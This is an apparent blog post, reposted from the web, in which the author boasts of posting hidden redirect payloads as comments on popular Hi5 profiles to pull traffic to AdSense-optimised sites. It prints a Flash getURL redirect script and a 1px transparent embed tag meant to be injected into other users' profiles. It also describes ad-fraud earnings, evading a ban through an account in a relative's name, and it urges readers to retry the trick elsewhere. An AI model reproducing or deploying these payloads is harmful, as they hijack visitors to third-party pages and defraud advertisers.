Heh, 2 years ago I think, I was trying to make money online with adsense, only by posting comments on Hi5.com, most viewed profiles. It was a very simple process, for one hour of posting comments I was making around 150$/day, but why was it simple? "Because I was redirecting huge traffic, around 30000-40000 unique users/day to my websites which were optimized for some high paying keywords, like cancer, banking… you know them :). Redirecting those users was very simple, all I need was a little flash object, with a width of 1px and height 1px, made of course with one of the simplest flash authoring tools, SwishMax, with the following code in it(saved it as a .swf file):

onFrame (1) {
getURL("http://www.yoursite.com","_self");
}

After creating this file, I uploaded it to my ftp and then I began searching for Hi5 profiles that had over 10000 views. Almost all of those profiles were rather pornographic than a normal users profile and so I didn't care about destroying them, because they were useless ( I don't know how hi5 is allowing such adult content on their website or maybe it is just marketing). So after finding those most viewed mature profiles, I had to post a comment like the bellow example to redirect the viewers to my website/s:

Hy there babe, looking hot today ... :)
<object width="1″ height="1″><param name="movie" value="http://www.mywebsite.com/file.swf"></param><param name="wmode" value="transparent"></param><embed src="http://www.mywebsite.com/file.swf" type="application/x-shockwave-flash" wmode="transparent" width="1″ height="1″></embed></object>

Most of those profiles were on "auto-accept comments" so it wasn't a problem to get them accepted. Then the magic began, tones of traffic and a simple way to make money online. The funny thing is that in the first month I managed to get one check from google adsense with 3250$ but the next month, I got banned, I think for artificial traffic or something like that and so my journey with Hi5 ended.
As you can see now I have another account at google adsense, this one on my name, because my ex account was on my brother's name and address.
In conclusion ? it was a funny period :) but for 3250$ who wouldn't post comments on hi5. I don't know if this hi5 hack still works, but you can try and see or maybe it works on myspace. Besides that I think that social networks are a good source of traffic, the only thing is to know how to explore them."

[Text found on web]